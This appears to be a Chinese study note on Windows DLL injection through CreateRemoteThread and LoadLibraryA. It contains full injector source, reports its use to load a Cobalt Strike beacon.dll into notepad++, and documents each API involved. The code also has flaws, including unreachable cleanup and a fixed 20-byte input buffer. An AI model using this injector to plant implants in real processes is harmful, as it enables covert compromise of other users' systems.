实验
注入思路
先获取到LoadLibrary的函数地址,之后使用CreateRemoteThread加载这段地址即可
简单例子:
D:\VS项目\Dll3\x64\Debug\Dll3.dll
kernel.dll加载的地址在所有进程都是一样的
https://zhuanlan.zhihu.com/p/599915628?utm_id=0
DLL进程注入
dll注入器
#include<stdio.h>
#include<Windows.h>
#include<iostream>
#include<string>
using namespace std;
BOOL CreateRemoteDllInjectDll(DWORD dwProcessId, char* pdllname);
int main() {
DWORD dwProcessId;
char DLLName[20]; //需要输入的DLL文件名字
cout << "Pleace input DLLfile name :" << endl;
cin >> DLLName;
cout << "Pleace input PRocessID :" << endl;
cin >> dwProcessId;
CreateRemoteDllInjectDll(dwProcessId, DLLName);
return 0;
}
/**
1.打开要注入的进程
2.给进程分配虚拟内存 VirtualAllocEx
3.给分配的内存写入要注入的DLL目录
4.找到 kernel32.dll 模块的里面的LoadLibrary函数的地址
5.用CreatRemoTethread给目标进程注入dll
6.关闭目标进程的句柄
**/
BOOL CreateRemoteDllInjectDll(DWORD dwProcessId, char* pdllname) {
HANDLE hProcess = NULL; //进程句柄初始化
LPVOID pDLLAddr = NULL; //内存中申请空间时返回的页面基址 初始化
HMODULE hker = NULL;
FARPROC pFunProcAddr = NULL; //kernel32.dll中loadLibrary函数的地址 初始化
DWORD dwsize = 0;
hker = GetModuleHandleA("kernel32.dll"); //得到kernel32.dll进程中的地址
if (NULL == hker) {
puts("GetModuleHandle kernel32.dll is error");
return false;
}
hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwProcessId);//打开要注入的进程
if (NULL == hProcess) { // 检查打开进程是否成功
puts("OpenProcess is error");
return false;
}
dwsize = strlen(pdllname) + 1; //DLL文件目录的长度,也就是欲分配的内存大小
pDLLAddr = VirtualAllocEx(hProcess, NULL, dwsize, MEM_COMMIT, PAGE_READWRITE); //在指定的进程中分配内存空间
//申请的内存空间,并且地址保存在pDLLAddr目录中
if (pDLLAddr == NULL) { //检查
puts("VirtualAllocEx is error");
return false;
}
if (!WriteProcessMemory(hProcess, pDLLAddr, pdllname, dwsize, NULL)) {//把所需要的注入的dll文件目录字符注入给目标进程,也就是把DLL完整路径名写入进程中
puts("WriteProcessMemory is error");
return false;
}
pFunProcAddr = GetProcAddress(hker, "LoadLibraryA"); //得到loadlibrarya函数的地址
if (pFunProcAddr == NULL) {
puts("Get LoadLibraryA is error");
return false;
}
HANDLE hRemotehandle = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(pFunProcAddr), pDLLAddr, 0, NULL); //创造远程线程
if (!hRemotehandle) {
puts(" CreateRemoteThread is error");
return false;
WaitForSingleObject(hRemotehandle, INFINITE);
CloseHandle(hRemotehandle);//关闭句柄
CloseHandle(hProcess);
return 0;
}
}
生成dll-2-1.exe
这里注入的exe是notepad++,找到其进程,注入的dll是我cs生成的beacon.dll
主要思路是:
1.先用GetModuleHandleA获得kernel32.dll进程中的地址(为了GetProcAddress获得函数地址,因为需要先有进程地址)
2.VirtualAllocEx然后在指定进程中分配内存空间
3.WriteProcessMemory把所需要的注入的dll文件目录字符注入给目标进程
4.GetProcAddress得到loadlibraryA函数的地址(重要步骤1)
5.CreateRemoteThread创造远程线程(重要步骤2)
6.关闭句柄
发现notepad++可以注入进去,但是用默认Microsoft Edge浏览器是注入不进去的
暂缺的是不能注入
涉及函数
GetModuleHandleA
获取一个应用程序或动态链接库的模块句柄。如执行成功成功,则返回模块句柄。零表示失败。只能返回本进程当中包含的dll。
OpenProcess
OpenProcess(PROCESS_ALL_ACCESS, false, dwProcessId);
PROCESS_ALL_ACCESS为设置句柄的新的访问权限,false为初始状态,dwProcessId指的是事件名称
用来打开一个已存在的进程对象,并返回进程的句柄。
函数原型:
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
参数:
a.dwDesiredAccess:想拥有的该进程访问权限
PROCESS_ALL_ACCESS //所有能获得的权限
PROCESS_CREATE_PROCESS //需要创建一个进程
PROCESS_CREATE_THREAD //需要创建一个线程
PROCESS_DUP_HANDLE //重复使用DuplicateHandle句柄
PROCESS_QUERY_INFORMATION //获得进程信息的权限,如它的退出代码、优先级
PROCESS_QUERY_LIMITED_INFORMATION /*获得某些信息的权限,如果获得了PROCESS_QUERY_INFORMATION,也拥有PROCESS_QUERY_LIMITED_INFORMATION权限*/
PROCESS_SET_INFORMATION //设置某些信息的权限,如进程优先级
PROCESS_SET_QUOTA //设置内存限制的权限,使用SetProcessWorkingSetSize
PROCESS_SUSPEND_RESUME //暂停或恢复进程的权限
PROCESS_TERMINATE //终止一个进程的权限,使用TerminateProcess
PROCESS_VM_OPERATION //操作进程内存空间的权限(可用VirtualProtectEx和WriteProcessMemory)
PROCESS_VM_READ //读取进程内存空间的权限,可使用ReadProcessMemory
PROCESS_VM_WRITE //读取进程内存空间的权限,可使用WriteProcessMemory
SYNCHRONIZE //等待进程终止
b.bInheritHandle:表示所得到的进程句柄是否可以被继承
c.dwProcessId:被打开进程的PID
返回类型
如成功,返回值为指定进程的句柄。
如失败,返回值为NULL,可调用GetLastError()获得错误代码。
通过一个进程关闭另外一个进程的时候,一般的做法就是枚举系统打开的所用进程的标识符(PID),使用OpenProcess函数获得进程的句柄,该函数可以通过第一个参数来设置句柄的新的访问权限,比如如果打开的句柄不具备终止句柄的权限,直线终止进程操作会失败,返回的错误代码为5(意思为拒绝访问)。通过获得的句柄就可以获得进程名字(通过GetModuleBaseName函数),通过比对进程名字就可以获得我们指定要关闭的进程。注:要使用closeHandle函数来削减进程计数器。
VirtualAllocEx
作用是在指定进程的虚拟空间保留或提交内存区域,除非指定MEM_RESET参数,否则将该内存区域置0。
函数原型
VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
参数
hProcess
申请内存所在的进程句柄。
lpAddress
保留页面的内存地址;一般用NULL自动分配 。
dwSize
欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍
flAllocationType
可取下列值:
MEM_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
MEM_PHYSICAL :分配物理内存(仅用于地址窗口扩展内存)
MEM_RESERVE:保留进程的虚拟地址空间,而不分配任何物理存储。保留页面可通过继续调用VirtualAlloc()而被占用
MEM_RESET :指明在内存中由参数lpAddress和dwSize指定的数据无效
MEM_TOP_DOWN:在尽可能高的地址上分配内存(Windows 98忽略此标志)
MEM_WRITE_WATCH:必须与MEM_RESERVE一起指定,使系统跟踪那些被写入分配区域的页面(仅针对Windows 98)
flProtect
可取下列值:
PAGE_READONLY: 该区域为只读。如果应用程序试图访问区域中的页的时候,将会被拒绝访
PAGE_READWRITE 区域可被应用程序读写
PAGE_EXECUTE: 区域包含可被系统执行的代码。试图读写该区域的操作将被拒绝。
PAGE_EXECUTE_READ :区域包含可执行代码,应用程序可以读该区域。
PAGE_EXECUTE_READWRITE: 区域包含可执行代码,应用程序可以读写该区域。
PAGE_GUARD: 区域第一次被访问时进入一个STATUS_GUARD_PAGE异常,这个标志要和其他保护标志合并使用,表明区域被第一次访问的权限
PAGE_NOACCESS: 任何访问该区域的操作将被拒绝
PAGE_NOCACHE: RAM中的页映射到该区域时将不会被微处理器缓存(cached)
注:PAGE_GUARD和PAGE_NOCHACHE标志可以和其他标志合并使用以进一步指定页的特征。PAGE_GUARD标志指定了一个防护页(guard page),即当一个页被提交时会因第一次被访问而产生一个one-shot异常,接着取得指定的访问权限。PAGE_NOCACHE防止当它映射到虚拟页的时候被微处理器缓存。这个标志方便设备驱动使用直接内存访问方式(DMA)来共享内存块。
返回值
执行成功就返回分配内存的首地址,不成功就是NULL。
WriteProcessMemory
WriteProcessMemory(hProcess, pDLLAddr, pdllname, dwsize, NULL)
函数原型
WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_reads_bytes_(nSize) LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_opt_ SIZE_T* lpNumberOfBytesWritten
);
参数
hProcess:指向目标进程的句柄。
lpBaseAddress:指向要写入数据的内存地址。
lpBuffer:指向用于存储写入数据的缓冲区。
nSize:指定要写入的数据的大小。
lpNumberOfBytesWritten:指向存储已写入的数据大小的变量的指针。
返回值
如果函数成功则返回非零值,否则返回零。
GetProcAddress
GetProcAddress函数被用来检索在DLL中的输出函数地址。
GetProcAddress(hker, “LoadLibraryA”)
函数原型
GetProcAddress(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
参数
hModule 包含此函数的DLL模块的句柄
lpProcName 包含函数名的以NULL结尾的字符串,或者指定函数的序数值。如果此参数是一个序数值,它必须在低字,高字必须为0
返回值
如果函数调用成功,返回值是DLL中的输出函数地址。
如果函数调用失败,返回值是NULL。得到进一步的错误信息,调用函数GetLastError。
CreateRemoteThread
它能够创建一个在其它进程地址空间中运行的线程(也称:创建远程线程).。
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(pFunProcAddr), pDLLAddr, 0, NULL);
函数原型
CreateRemoteThread(
_In_ HANDLE hProcess,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);
参数
[1] hProcess [in]
线程所属进程的进程句柄.
该句柄必须具有 PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE,和PROCESS_VM_READ 访问权限.
[2] lpThreadAttributes [in]
一个指向 SECURITY_ATTRIBUTES 结构的指针, 该结构指定了线程的安全属性.
[3] dwStackSize [in]
线程栈初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小.
[4] lpStartAddress [in]
在远程进程的地址空间中,该线程的线程函数的起始地址.
[5] lpParameter [in]
传给线程函数的参数.
[6] dwCreationFlags [in]
线程的创建标志.
值 | 含义 |
---|---|
0 | 线程创建后立即运行 |
– | – |
CREATE_SUSPENDED 0x00000004 | 线程创建后先将线程挂起,直到 ResumeThread 被调用. |
– | – |
STACK_SIZE_PARAM_IS_A_RESERVATION 0x00010000 | dwStackSize 参数指定为线程栈预订大小,如果STACK_SIZE_PARAM_IS_A_RESERVATION没有被指定,dwStackSize 参数指定为线程栈分配大小. |
[7] lpThreadId [out]
指向所创建线程ID的指针,如果创建失败,该参数为NULL.
返回值
如果调用成功,返回新线程句柄.
如果失败,返回NULL.
WaitForSingleObject
当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限。
WaitForSingleObject函数用来检测hHandle事件的信号状态,在某一线程中调用该函数时,线程暂时挂起,如果在挂起的dwMilliseconds毫秒内,线程所等待的对象变为有信号状态,则该函数立即返回;如果时间已经到达dwMilliseconds毫秒,但hHandle所指向的对象还没有变成有信号状态,函数照样返回。
参考文章:
https://www.codenong.com/p12172860/